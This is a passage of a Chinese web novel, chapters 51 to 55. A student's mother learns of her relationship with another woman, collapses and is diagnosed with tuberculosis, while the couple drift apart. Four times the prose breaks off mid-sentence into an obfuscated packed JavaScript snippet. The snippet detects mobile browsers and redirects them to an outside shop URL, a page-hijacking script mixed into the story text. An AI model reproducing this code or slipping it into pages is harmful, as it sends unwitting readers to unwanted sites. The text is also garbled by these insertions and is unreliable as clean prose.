秦离心中一紧。她上次见到黎羽这样子,还是暑假去柳城的时候。 发生什么事了,是她家里又有什么情况吗? 她没事吧! 或许是秦离脸色不对劲得太明显,妈妈喊她:“勺勺……” “嗯……” 秦离嘴上应着,心思根本不在这里,在打字:【小羽,你怎么了?】 “勺勺。” “嗯……” 【我刚吃完饭,这会在回去的车上。】 “勺勺!” “等一下……” 秦离心都挂在黎羽那边,还在编写下一条消息:【等我回去给】 “秦离!” 妈妈一把抓过手机,脸色很差。 “干什么,我在发消息呢。”秦离很急,语气也很差,“妈,手机给我。” “撒子消息,非要急在这时候发,连和爸妈说话的时间都没有了。” 妈妈的脸沉得厉害,秦离对上她斥责的眼神,心上一梗,不敢说话了。 汽车平稳地开着。爸爸在驾驶位上一语不发,但脸色也不大好。 “秦离,你最近表现很不好,回去,回去我们要好好谈一哈。” 或许是动气太厉害,妈妈又开始猛咳,咳得撕心裂肺。她用纸巾捂着嘴,咳完目光有些波动,将纸巾揉成一团,握在手心。 秦离不敢再动,心中突然有不好的预感,惴惴不安,也不敢再说拿回手机的事。 回到家里,一片冰冷,只有乌龟趴在石子上的声音。小绿又越狱了,翻出鱼缸,不知道爬到房间里哪个角落。 但现在,没人有心思找了。 三个人坐在沙发上,秦离坐在中间,长久的沉默。 妈妈还捏着那团纸巾,吃了些药,症状好多了,慢慢缓下情绪,才语气尽量平和地开口。 “勺勺,你最近有什么情况吗?” “……没有啊……怎么这么问……” 秦离心虚,说话也发虚。她怀疑妈妈是不是发现了什么,脑子一团浆糊,只想着先混过去。 “勺勺,”妈妈语气变得很凝重,“你现在也这么大了,不是小娃儿,明年就要出身社会,好多事,也要好好考虑了,不能天天都耍起。” 又是类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370181|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,秦离听得烦躁,但这会不敢发火,只嘀咕着:“我晓得,我有做事,没天天耍……” “你之前说要出国,我和你爸钱都准备好了。你说不找中间,自己弄,可以,但也没看到有撒子进展。” “嗯……” 这会,秦离不敢说自己不打算出国,要考研的事,怕妈妈刨根问底,发火。 “这些你自己都好好考虑清楚,”妈妈捏了捏鼻梁,“还有感情的事,一个阶段有一个阶段该做的事,我和你爸不干涉你这些,但到了这个阶段,有合适的还是可以谈哈。” 秦离开始皱眉,忍住没插话。 “你二姨,还有好多人都说介绍的事,我们晓得你不喜欢这个,基本都帮你推了。但你自己也要认真想想了,等离开校园,一切都会变得复杂,不会再有在学校这么单纯的环境了……” “我晓得了,我现在还不想谈恋爱!” 听妈妈絮絮叨叨,秦离的心里愈发烦躁,语气也变得不耐。她忍住自己要将一切直白说出来的冲动。 “……” 妈妈沉默,空气显得愈发窒息。 她又开始咳了,爸爸忙递纸巾,眼里是止不住的担忧,对着秦离语气有些责备:“勺勺,好好跟你妈妈说话。” 理智告诉秦离,她应该关心妈妈的身体,跟她再多聊会,但心中的焦躁却难以抑制。她还想着黎羽的消息,不知道她那边到底发生了什么事情。 “妈,你说的我都知道了,你把手机给我吧。你也……吃了药好好休息。” 秦离自以为已经尽可能缓和语气了,却不知道旁观看来显得太急迫,似乎有些没心没肺。 “勺勺,”妈妈的语气变得急促,“你是不是在和女生……” 秦离心里一紧,被说穿的那刻失语,无法否认,却也不知道说什么。 “你咋个会……”妈妈欲言又止,没有把话说明,“你咋个会变成这样啊……” 于是,秦离明白,妈妈知道她和黎羽的事了。 她反应很快,意识到唯一可能暴露的就是今晚的消息。 对了,还有……她舍不得换掉的手机屏幕。 “你们看我手机了!”越紧张,秦离的防备性拉得越强,语气尖锐,“你们怎么能这样!” “秦离!”爸爸的语气也变得严厉。 妈妈边说边咳着,用纸巾捂着嘴,呼吸变得急促,脸上出了很多汗。 “那个人,那个给你发消息的人,是哪个?是不是她,带坏你了。” 秦离讨厌这样的说法,与妈爸争锋相对:“没有谁带坏我,我就是喜欢她!” 爸爸要冷静些,只道:“你现在还年轻,想法还不成熟,很多事情想得还很简单,感情不是耍耍,不……” 秦离打断他:“我不是耍耍,我是认真的,我就是喜欢黎羽,我就是喜欢女生!” 她直白道出刚刚妈妈含混过去的那个词,撕破窗户纸,“勇敢”地捍卫自己的爱情。 “不行……” 妈妈的身体颤抖着,眼前开始发黑,嘴里还念着。 “不行啊……” 她一阵晕眩,突然向旁边倒去。 “妈!” 52. Chapter 52 两人喊了好几声都没叫醒妈妈,不敢再耽误,赶紧将人送到区医院去。一路上,秦离的脑子都是嗡的。 妈妈怎么会晕倒……是……被我气的? 爸爸的脸色很难看,一语不发,秦离也不敢开口,一直抓着妈妈的手,心中满是内疚。 都是我的错…… 急救室的医生动作很迅速,将人接进去,过了许久才出来告知家属:“病人已经清醒了,是情绪过于激动导致的昏阙。她咳嗽很厉害,有咳血现象,已经咳了多久了?之前有没有类似的情形或其他症状?” 爸爸愣住,随即回答得很迅速,“已经两三周了,也吃了药,但一直时好时坏。她有时候会胸痛,夜里出汗厉害,食欲也不太好,咳血……是第一次知道。” “怎么会咳血……” 秦离揪心,自己明明一直在家里,却不太清楚妈妈的症状。 “那建议病人做个CT检查,看情况再说。” CT结果很快出来了,左侧胸腔内可见孤形液性密度影,左肺上叶可见空洞形成,左肺中叶病灶内可见支气管气象,考虑结核,请结合临床。 结核病…… 秦离两眼一黑,想到妈妈捏着纸团,不断咳出鲜血的样子。 医生看完检查结果道:“先办理住院手续吧,要做气管镜、ngs和ppd,抽血检查,看看具体情况。对了,你们两人也要做ppd,看有没有被传染。” 爸爸去办住院和检查手续,秦离在病床前陪妈妈。 “勺勺,你坐远点,不要被传染了。” 妈妈靠坐在床头,脸色苍白,时不时咳嗽。她已经知道自己可能是肺结核了,找护士要了个口罩戴着,不让秦离在这里陪她。 秦离心里更难受了。 “妈妈,没事,我给你倒点水。” 秦离端着水杯回来时,看见妈妈从衣服口袋里拿出她的手机,放在床头柜上。 “勺勺……”妈妈示意她拿回手机,“妈妈不是想责怪你,我……” “妈妈,你先好好休息,检查身体,其他的……我们之后再说。” “……好。” 妈妈喝了水躺下,闭着眼睛,不知道是太累了想再睡睡,还是不知道如何跟女儿交流。 手机屏幕漆黑,已经没电了。 秦离没找充电器,坐在医院的椅子上,手里紧紧握着手机,望着墙角的蜘蛛网发呆。 不知道过去多久,爸爸办完手续回来了。 区医院很火热,他联系了朋友,想了办法,才加塞到名额,让妈妈今天就能顺利入院。 秦离听爸爸说了接下来的安排,把妈妈转移到病房后,他等下回去拿东西,今晚在这里陪护,秦离就回家好好休息。 冰冷的医院里人来人往,所有人都面带焦虑,一切都被匆忙地裹挟着。秦离觉得有些无力,但她已经习惯了被安排,和妈妈说了告别的话后,跟着爸爸回家。 路上,令人窒息的沉默蔓延着。 秦离以为爸爸会批评她,但他没有。除了昨晚她气着妈妈时喊了她的名字外,爸爸没有说过一句重话。 到家时,天已经很黑了。 爸爸拿了充电器、洗漱用品和两件厚衣服,走之前对着秦离,语气已经恢复了温和,只是脸上不再有惯常的笑意:“勺勺,下午妈妈她不是故意要看你的手机的。那边发来了很多消息,你手机一直在亮。她说话是有点急了,但这确实是我们从未想过的情况。恋爱的事先不说,我们都是你这个年纪走过来的,晓得现在说撒子你都很难听进去,但自己的人生,未来要做什么事,你真的要好好想想。大三下咯,时间很快的,勺勺。” 秦离咬着下唇,沉默着,避开爸爸的视线。 爸爸出门了,最后想起来,又说了句:那边可能有撒子急事,你还是回个电话吧。明天上午,记得到医院来,你也要做检查。其她有什么,等你妈妈的事过了再说。” “嗯,知道了,爸爸,你先去,之后我晚上替你。” “好,折腾一天了,早点睡吧。” 爸爸走后,整个房子只有秦离一个人,空荡荡的。 她充电后打开手机,看到有七八个未接来电,都是黎羽打的。她发出一半的消息之后,黎羽只发了两条信息。 【好,我等你。】 【小乖……你在哪里……】 六点以后,再没有任何电话和消息了。 秦离侧躺在床上,在被子里缩成一团,没有开灯,反复看着黎羽给她发的消息。 黎羽的状态看起来很糟糕,她从来没有过这样的反应。秦离知道,她这时候应该立刻回电话,关心她的恋人,安慰她,陪着她。但她又害怕这样做,总觉得如果这时候全身心地投入到黎羽那边,便是抛弃了还在医院的妈妈。 半个她飘到空中,落在漆黑的天花板上,盯着自己,指责自己。 看啊,这个人多自私自利,把亲人气得进了医院,她回到家里,满脑子还想着谈情说爱。 秦离一直盯着电话界面,盯到都产生了重影,还是没有拨出去。 那半个她又在嘲讽。 看啊,这个人多冷血无情,明明恋人已经表现得如此痛苦,她却没有任何反应,甚至连个电话都不敢打,说不出一句安慰的话。 进退维谷,怎么做,秦离都觉得心像被虫子啃咬般钝痛。 她斟酌着,终于决定发条消息出去:【阿羽,抱歉,刚刚家里有点事,手机也没电了,我才刚开机。你……怎么样,出什么事了,还好吗?要不要……打电话?】 发完消息后,她将铃声开到最大,把手机扔到一边,用被子闷住头。 要是……要是黎羽打电话过来,不,只要她发消息过来说好,她们就打电话。今晚好好安慰黎羽,明天就去医院陪妈妈。 可以的,两边她都可以顾好的。 手机间歇性响着,但没有一条是她想要看到的那个人发来的。到后来,秦离给其她所有人都设置了免打扰,然而直到她睡去,都再未听到铃声响起。 第二天上午,秦离是被爸爸的电话叫醒的。她第一时间翻开微信,黎羽那边依旧没有回复。 她浑浑噩噩去医院做了ppd测试,结果出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370182|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,万幸,她和爸爸都没有被传染。但妈妈做完所有检查后,已经确诊为肺结核了。爸爸又联系了熟人,这次花了许多功夫,将妈妈转进南城最好的医院治疗。 肺结核并不是绝症,但足够折腾人,妈妈被迫停掉手上的所有工程,专心养病。爸爸也请了假,呆在南城。 秦离有心想帮忙,做点什么,但却无从下手,最后只能呆在病房里陪妈妈。 这两天,妈妈的情绪慢慢好转了,没有再提那天的话题,就好像不知道这件事一样,只跟秦离一起看电视,聊些娱乐之类的轻松话题。 秦离便也装作什么都没说过。 这两天,黎羽那边没有了任何反应,销声匿迹。 第二天,秦离又发了些消息过去,黎羽没有回复。 第三天,秦离忍不住,打电话过去,一直占线。 第四天,依旧如此。 秦离急了。她不知道黎羽那边到底怎么了,会不会真的出什么事了。 她先给何章远发了消息,对方说黎羽从去年年底起就忙自己公司的事,两人联系少了许多,上次发消息还是过年的祝福短信呢。 她又问了陈玲嘉,对方一无所知,问秦离怎么了,秦离梗着,含糊过去了。 秦离想到了李凌菲和董老师,但这两个人的联系方式她都没有。 到这个时候,她才意识到,她从未深入黎羽的朋友圈,而黎羽……似乎也是如此。 最后,她通过小智要到了李凌菲的联系方式,迫不及待打电话过去。 秦离没好说黎羽的那些消息和电话,以及自己没及时回的事,只说联系不上她,李凌菲担忧道;“几天都不接电话?我最近也没和她联系,不会是……” 她嘴里念叨着什么,声音很轻,秦离没有听清。随即李凌菲安慰她:“没事,学妹你别担心,她那么大个人,总不会丢了。我去问问,找到人了跟你说。” “好……那我等你的消息……” 有人做主心骨,秦离心里稍微踏实些,但又有些苦涩,为李凌菲的口吻,她和黎羽的亲密关系。 但她又知道,这怪不了谁。 只能怪她自己。 果然,过了一个多小时后,李凌菲回电话了,语气有些微妙。 “问到了,她……家里有点事,回柳城了,然后手机摔坏了,没来得及买新的。” “这样啊……” 秦离的声音很轻。 ……手机摔了啊…… ……真的摔了吗…… ……摔了的话……为什么不想办法给她发个消息说一声呢…… 秦离满脑子全是不信任的推测,胃里翻滚着,难受。 理智告诉她,或许是黎羽她妈妈那边又发生什么事了,才会让她当时情绪如此低落。 但她已经顾不上这些了,因为她自己…… 也已经要崩溃了…… 察觉到秦离反应不对劲,李凌菲也清楚黎羽瞒了她什么。但她毕竟不方便介入到小情侣的事情里,最后只能隐晦劝秦离。 “学妹,回头你还是好好和小羽聊聊吧。” 53. Chapter 53 挂断李凌菲电话后,秦离坐在床上里发呆。 不知道过去了多久,有柳城的号码拨过来了,秦离直觉是黎羽。 有点荒谬,自己找了好几天没找到人,李凌菲去问了,她才接到黎羽的电话。 秦离手臂有些发软,靠在墙边。电话响了几声,她才接起。 “喂。”她的声音有些干涩。 “……喂。” 果然是黎羽。 两边都沉默着。 秦离无意识用手指抠着床单,嘴唇干燥,唇皮黏在了一起,张嘴时被拉扯开,带着微微的刺痛。 “你……回柳城了?” “嗯。” “怎么突然回去了?” “家里突然有事。” “……发生什么事了?是……和你妈有关吗?” “……” 又是一阵沉默。 秦离心里还有很多想问的话,但被黎羽冷冰冰的态度刺着,问不出口。 黎羽避开话题,开口解释其她事:“我……前两天手机摔坏了,还没来得及买新的,所以……” “嗯……”秦离捏紧手机,闭上眼睛,任由自己被黑暗淹没,“阿羽……” 她喉咙有些梗塞,吐词艰难:“如果李凌菲不找到你的话,你就一直不联系我了吗?” “……” 开口后,秦离心中的话越吐越多:“我每天都给你发消息、打电话,但都找不到你。我不知道你发生了什么事,人在哪里,到底怎么了,为什么突然消失了……” “上一次也是这样。” “我……”在秦离的逼问下,黎羽又吐露了些,“确实是跟我妈有关,出现了些突发情况,但没事的,我马上就解决好了,解决了……就还是和之前一样,不会有什么问题了。不会……” 听见黎羽还在含混其词,秦离终于忍不住喊出声:“黎羽!你还不愿意告诉我到底发生了什么吗?是其她人都能知道,就我不必知道,是吗!” 她想到李凌菲的闪烁其词,心中满是被排斥在外的不甘与难过。 “什么其她人,”黎羽的声音有些疲惫,“小乖,别闹了,我最近真的很累……” “那你就跟我说说啊,”秦离听出她的疲累,心软了,声音又放得柔和,“有什么事,你说出来,我们一起想办法,总能解决的。” 黎羽又张开一点自己的蚌壳:“……这不是你能帮我解决的事,只有我自己……” 秦离固执地抓住这点间隙不放:“你先说出来,就算短时间不能解决,我也可以听你讲啊。阿羽,我是你的恋人,我不应该……不应该被排斥在你的世界之外。” “而且,你之前说过的,有什么会跟我说的,别冷着脸……” 秦离庆幸此刻没有和黎羽面对面,她现在真的没有精力消化情绪,受不了对方的冷言冷语。 或许是秦离最后一句话指责的意味有些明显,黎羽表现出本能的攻击性:“你在责怪我吗?” “我不是……”秦离不可置信,声音拔高,“阿羽,你怎么能这么想我?” “你不要逼我,”黎羽也竖起了尖刺,“是,你总是让我说出来,告诉你。那我需要你的时候,你在哪里?” 黎羽喘着气,将闷在心里的话全部说了出来:“我给你发了那么多消息,打了那么多电话。我……我那时候那么需要你,想要听见你的声音,那时候,你在哪里!” 秦离瞬间无声。 委屈将心脏泡得发苦,连带嘴里全是苦味。她要怎么解释,说因为妈妈发现了她俩的事,被气进医院了吗? 黎羽已经够烦的了,她不想再增加她的烦恼。 黎羽不知道秦离心中所想,将她的沉默当作了心虚,冷笑了声:“看,你说你会陪着我,但在关键时刻,却消失得无影无踪,又凭什么非要逼我把什么都说出来。” 秦离忍不住争辩:“我那时候确实……有些情况发生,手机又没电了,我晚上一回来就马上充电给你发消息了。” “手机没电了……是啊,刚好在那个时间没电了。” “你是说我在说谎?” “……我没这样说。” “那你呢!手机摔了好几天了,都找不到办法联系我是吗?” “我——” “而且我只是半天而已,你消失了整整三天啊!” 两人针锋相对,话赶话车轱辘,却都不肯告诉对方到底发生了什么。 不知道什么时候,秦离早已泪流满面,一滴滴泪珠砸在被子上,浸出深色的水痕。 或许是察觉到秦离的哭腔,黎羽又将尖刺收了回去,却也将自己隐藏得更深。 她叹了口气,秦离听见了打火机点燃的声音,脑里想起了黎羽抽烟吐雾的样子,恍惚迷离。 于是,她也安静下来,只是继续无声地流泪。 争吵就这样突然又结束了,只剩下两边的呼吸声,通过听筒穿越一千多公里的距离,到达恋人的耳边。 一支烟抽完,黎羽情绪冷静了许多,语气也恢复了平日的淡然。 “小乖,我们也别折腾了,就先这样吧。” “什么就这样?”秦离心中惶恐不安,脱口而出,“我……我不要分手。” 或许是秦离表现得有点傻愣愣的,黎羽笑了,今晚第一个不带任何负面情绪的,单纯的笑。 “我没说这个,我也不想……和你分手。” “嗯……” 这句话瞬间安抚了秦离的情绪。她擦擦脸上的泪痕,因为黎羽缓和的态度,忍不住多解释了几句:“我那天手机关机确实是因为家里发生了很紧急的事,等我……等我回学校后,再跟你说,好吗?” “好。” “那……” 秦离小心翼翼试探着,想知道黎羽刚才那句话是什么意思。但她舍不得黎羽又变得温和的语气,不想再和她争吵了。 黎羽明白她的意思,也没心思逗人,直白道:“我是说,我知道你有事瞒着我……” “我不是……”秦离急于解释,被黎羽打断。 “但每个人都有自己的秘密,即使我们是恋人,也不是说什么都要讲出来,我也……确实有些事情想自己去处理。我能解决的,只是需要一点时间,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370183|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间,你先别问我,等以后……以后我再都告诉你,好吗?” 秦离心里很不舒服,她不喜欢这种说法。 在她的认知里,恋人这种关系就应该是亲密无间,没有秘密,不分你我的。 但黎羽很坚持,她也无可奈何,只能应下。 只是恍惚间,她觉得自己之前阴差阳错错过了什么。 或许……是唯一一次让黎羽敞开心扉的机会。 黎羽又变回了平时的样子,之前的争吵好像不复存在。她笑着说,自己再过几天就回梦城,这是她的新号码,又问秦离什么时候回来。 两人重新加了微信。 秦离看着黎羽的头像和信息,已经完全变成了工作人士的样子,失去了最后一点她熟悉的自我。 于是,秦离也只问了一点无关紧要的事,说着,笑着,眼神却有点空洞。 今晚,爸爸没有回来,家里只有她和两只乌龟。 挂完电话,秦离觉得很寂寞。 她想去看乌龟,走过去发现,两个乌龟在里面奄奄一息,龟缸里已经没多少水了。 这几天家里一团糟,谁都顾不上照顾乌龟,秦离也忘了,结果就是没喂吃的,水也忘了换。 “小绿!竹子!” 秦离着急地端着龟缸跑到洗手间,小心翼翼往里面注水,又轻轻戳着龟壳,想要将它们唤醒。 龟壳没有想象中那么硬,秦离折腾了一番,小绿总算是有点动静了。秦离连忙往水里倒龟粮。 小绿没有了平时的活泼,缓慢划动四肢,小口小口,艰难地咬着龟粮。 而竹子…… 秦离看着它在水中漂浮着,四肢和头都软趴趴地伸出来,没有知觉。 她捏住龟壳将它拿起来,看着它眼窝凹陷,四肢和头在地心引力作用下下垂着,就这样荡来荡去。 秦离用指尖碰了碰它的皮肤,软的,滑的,冰冷又黏腻的触感让她心里发毛,险些将竹子扔出去。 那是面对死亡的恐惧。 即使只是一只乌龟。 秦离浑身不得劲,每一处皮下肉里都瘙痒难受,总觉得需要做点什么。 她将龟缸放回原处,确保小绿已经彻底活过来了,然后换了身衣服,捧着竹子出门。 漆黑的夜晚,冷风让露出的每一寸皮肤都变得冰凉,就像手掌上的竹子一样。 秦离打了个车,去南城最南面的山上。 她找了个风景最好的地方,站在那里能看到整个南城的夜景。 相似的场景,让她想起了记忆里的美好,但现在环绕着她的只有孤寂。 秦离摇摇头,找了一棵最高最大的树,蹲下开始挖坑。 小小的乌龟,不需要太大的坑,很快就挖好了。 秦离最后一次触碰竹子,它的龟壳已经变软,身上似乎也有了奇怪的味道。 她将竹子放进坑里,然后一点点盖上泥土,直到完全掩埋。 最后,秦离摸了摸已经看不出痕迹的黑土,靠着树干坐下,望着山下的灯红酒绿,嘴里喃喃。 “希望你下辈子,能做只幸福的龟。” 54. Chaptet 54 结核病的治疗是个漫长的过程。妈妈在医院输了几天液后,就回家休息了。 在秦离和爸爸的强烈要求下,妈妈暂停掉了年后回康城的计划,将工程的后续交给了她的合伙人。 很快,秦离也要开学了。 这期间,秦离和黎羽之间变得不温不火。她们依旧每天都在发消息,早安和晚安从未缺少,但交流变得干巴巴的。 秦离也疲于去寻找话题。她重新投入到网游和小说之中,忘却现实的烦恼。 离开那天依旧是爸爸送她的。 这几日,家里的氛围都很和谐。一家三口坐在一起看电视,妈爸都没有提会让秦离焦虑的事。 无论是恋爱,还是工作。 去机场的路上,爸爸又给秦离转了三千块钱,照常嘱咐她在学校照顾好自己,只要不乱花钱,该用的就用,不要委屈自己。 明明是每半年都会有的分别,秦离这次却觉得心中异常酸涩和不舍。 她不清楚家里的财政状态,但想到妈妈的病情,第一次觉得家里的钱收得让人难过。 但转账回去又似乎显得太矫情了,秦离最终还是应下,乖乖听爸爸说着。 进安检前,爸爸叫住她,道:“过两天你小姨和三姨都要到梦城来,到时候她们联系你,一起吃个饭吧。” “好哦。” 秦离没多想,只是想到又可以和小姨见面了,心中欢喜。 她自觉和黎羽的关系变得不对劲了,却不知道如何去改变,跟其她人不方便说,或许只有与作为同类的小姨才能好好倾诉。 过两天吧…… 过两天也好。她也需要积蓄些能量,才有力气处理这些繁杂的事。 回来的事,秦离提前跟黎羽讲了。黎羽比她回得早,到梦城后就变得更加忙碌。 秦离飞机到达的时间正是黎羽和客户谈项目的时候。 秦离不想黎羽为难,也不想她勉强来迁就自己,索性说还有朋友一趟飞机,到了和她一起打车回去,让黎羽就别来了。 或许是这次的客户很重要,黎羽没有多说什么,也应了。 下飞机了,秦离一个人拖着巨大的行李箱,艰难去赶地铁。 西边机场打回学校也要一百多块呢。秦离不想花这个钱,公交转地铁,又地铁转公交,回到宿舍已经是两个小时后了。 累得一根手指都不想动。 新的一学期,秦离有心想改变,却茫然不知该如何做下去。 GRE课上着,法学考研的书也看着,甚至她还抽空投了个翻译公司的实习岗位。 说起来,事都做了不少,但心里仍空落落的,没什么实感。 黎羽仍是说一周回来一次,继续履行这个早就做好的承诺。 秦离不像之前那么期待了。她满脑子想着自己的事,看着周围的同学似乎都规划满满,有目标,过得很充实,好像只有她茫茫然,不知何去何从。 或许妈爸说的对,她需要下定决心,好好想想她未来到底要做什么,并付诸行动了。 但人或许就是这样,越急着想要做什么,心理压力越大,越难以行动。 秦离列了满满的计划,才刚做了两天,就因为没有完成预期效果,开始陷入焦躁。 这种感觉到夜晚变得更加明显。 最后,秦离又陷入自暴自弃的颓废状态,开始没日没夜看小说和动漫,看得厉害的时候,什么消息都懒得回,只有黎羽的会稍微看点,但回得也有些心不在焉。 她知道这种状态不对,却无力改变。 大概过了一周,崔明秀和崔明兰来了。崔明秀提前一天就给秦离打了电话,让她明天中午到市区来一起吃饭。 中午出乎意料地,除了她俩,还有其他一些人,都是老家同乡,出来在梦城、安城、临城等各个地方生活工作,都是事业小有所成的人。 秦离没想到中午是这样的局,不过很快意识到小姨和三姨是什么意思了。 是想趁机带她多认识点各个行业的长辈们,给点关于人生道路的指点。 席上有位姓楚的阿姨是出版社的编辑,年龄跟秦离妈妈差不多,气质很温婉。 秦离跟她聊了不少,诉说了许多自己目前的想法和茫然的心情。 楚老师说,秦离现在这个年龄,茫然是正常的,人生还很漫长,即使到了她这个年纪,依旧会有怀疑自我和低落颓废的时候。 大学只是人生的一个阶段,她还有很多时间去寻找自己想要走的路,不用去对比其她人的人生。 把握当下,就是最重要的。 和楚老师聊完,秦离的心境平和了不少。 听了秦离对未来的打算,楚老师又道,其实不管是出国留学,国内考研还是毕业工作,都只是一种选择而已,重点是想好自己最想做的事情是什么,然后再以此为目标,去规划和行动。 如果过程中再给一句忠告,那大概就是—— 做吧,做就是了,完成了就是好的,不要在意完美度。 这些恰好说中了秦离心中的顾虑。或许她太过追求完美,才迟迟不敢行动。 最近她被周围人影响而过于焦虑的心情,也因为楚老师的话而慢慢平静下来。 饭局后,她加了楚老师的微信,想着或许以后还有机会和楚老师再多交流。 当然,也加了席上其她很多叔叔阿姨的联系方式。 今天这顿饭没有她想象中那么官方和的应酬感,她也是第一次有了自己在慢慢步入社会,进行社交的感觉。 吃完饭后,三姨开车,和小姨一起送她回学校。 路上,小姨将两份礼物递给她,是一只钢笔和一只超大的熊仔。 “勺勺,你生日快到了,这是我和你三姨给你的礼物。” 秦离很开心:“谢谢三姨和小姨。^0^。” 她已经很久没有像今天这么开心了。 三姨崔明兰是个沉默寡言的人,只干事,不爱说话,眉目也比较冷,但其实人很温柔。 那只超大的熊仔就是她送的。 或许是妈妈跟她说了什么,她难得多说了两句。 “勺勺,今晚感觉还好吗?” “嗯,阿姨叔叔们人都很好,特别是楚老师,真的给我讲了很多。” “那就好,如果还有什么困惑,都可以跟我们说。” 崔明秀也适时插话:“对呀,我和你三姨虽然也没太大本事,但毕竟还是比你要多活了点岁数,稍微见识得多了些,可以稍微给点建议和帮助。” “而且,”崔明秀笑着道,“其实真没什么大不了的,而且你还这么小,有啥烦恼的。还活着,没生病,吃喝不愁,就没有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370184|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其它问题是解决不了的了。” “嗯!”秦离也恢复了往日的乐观。 到宿舍后,崔明秀光明正大地跟崔明兰说,要跟秦离说些悄悄话,崔明兰便坐在车上等她们。 两人顺着宿舍的河边散步,崔明秀也没拐弯抹角,直接问道:“你妈发现你和你对象的事了?” 秦离诧异:“小姨,你都知道了?” 她还琢磨着怎么跟小姨讲这件事,没想到她直接说出来了。 “嗯,虽然我姐没明说,但我听她含糊着问我最近有没有跟你发过消息聊过天,又问我知不知道你有什么感情上的情况,我就猜你八成暴露了。” “是的,”秦离叹气,“她看到我和阿羽的聊天记录还有合照,然后我一时冲动……就说了。” 崔明秀感慨:“你胆子还真是大啊。” 想起这事,秦离还头疼着:“我也不是故意说的,是不小心暴露的。而且她们现在都不跟我说这件事了,我还不知道接下来怎么办……” 说到这里,她又有些好奇:“小姨,我妈妈不知道你和邱姨的事吗?” “我没刻意说过,”崔明秀摇头,“但也没隐瞒,家里人多少能感觉到点吧,也没有当面问过我,可能是不敢问。” “而且或许也是因为这样,我姐才会来问我你感情的事吧,说不定还会以为是我影响了你,哈哈。” “喜欢的事,哪有什么影不影响的。” 秦离不喜欢长辈们这种,总觉得是别人带坏了自己小孩的看法。 感情的事,她现在烦恼的不是这个,而是她和黎羽之间这种不温不火的状态。 于是,她将她和黎羽最近的情况都跟小姨说了,越说,越觉得心中那股难过压过了之前的开心。 其实,崔明秀没有太意外,只道:“我没记错的话,她今年是大四下了吧。” 秦离点头。 “她马上就要毕业了,而且选择了创业的路,这很不容易。我也是创业走过来的,知道它比普通上班要辛苦许多。” “我知道。”秦离也清楚这点,所以平时都不想拿烦心事去打扰黎羽。 崔明秀叹气:“勺勺,爱情不是只有风花雪月。热恋时期,你们可以不顾一切,只要和彼此在一起,做什么都是快乐的,什么都不用考虑。” “但生活不是这样的,你们如果想长久走下去,就要好好考虑未来。多少校园恋爱,都是因为毕业而走散的。” 秦离争论:“我有考虑过的,所以才打算考研。” “那你有和黎羽好好谈这件事吗?” 秦离沉默,然后道:“我跟黎羽有提过。” 但显然不是认真面对面交谈的。 “勺勺,”崔明秀劝她,“你们两人的未来,需要你们一起好好去考虑经营,如果你们不想只停留在单纯的校园恋爱的话。” 秦离有些委屈:“可是,她好多事都不愿意跟我说。” 崔明秀又叹气了,毕竟听秦离来说,对方其实也不算是很成熟的人。 不过都是才这个年龄的孩子,又能要求她们有多成熟呢? “有机会,好好和她聊聊等她毕业后、你毕业后是怎么打算的吧。” “而且我不知道她家里到底发生了什么,但直觉,她或许并不如她所说的能处理得那么游刃有余。” 55. Chapter 55 和小姨的谈心给了秦离一点鼓励。她想,或许是自己做得不够好,才让黎羽不愿意依赖她,不愿意敞开心扉。 她决定再主动一次。 第二天是工作日,知道黎羽今天不会出去跟项目,秦离决定去公司等她下班。 知道秦离要跨城去找黎羽,李清韵感慨:“你这也太辛苦了,怎么同城还过上异地恋生活了。” 秦离笑笑没说话。 李清韵感慨:“之前说好的一起吃个饭见个面呢,要等到猴年马月哦。” “过阵子,过阵子,”秦离承诺,“她最近太忙了。” 黎羽也不是没有难得闲下来的时候,但看她太劳累,秦离又不舍得提这事了。 “好吧。”李清韵耸肩,本来也是顺口一提,“对了,下周二你生日了吧,肯定和黎羽过两人世界哦?那晚上回不回来?” 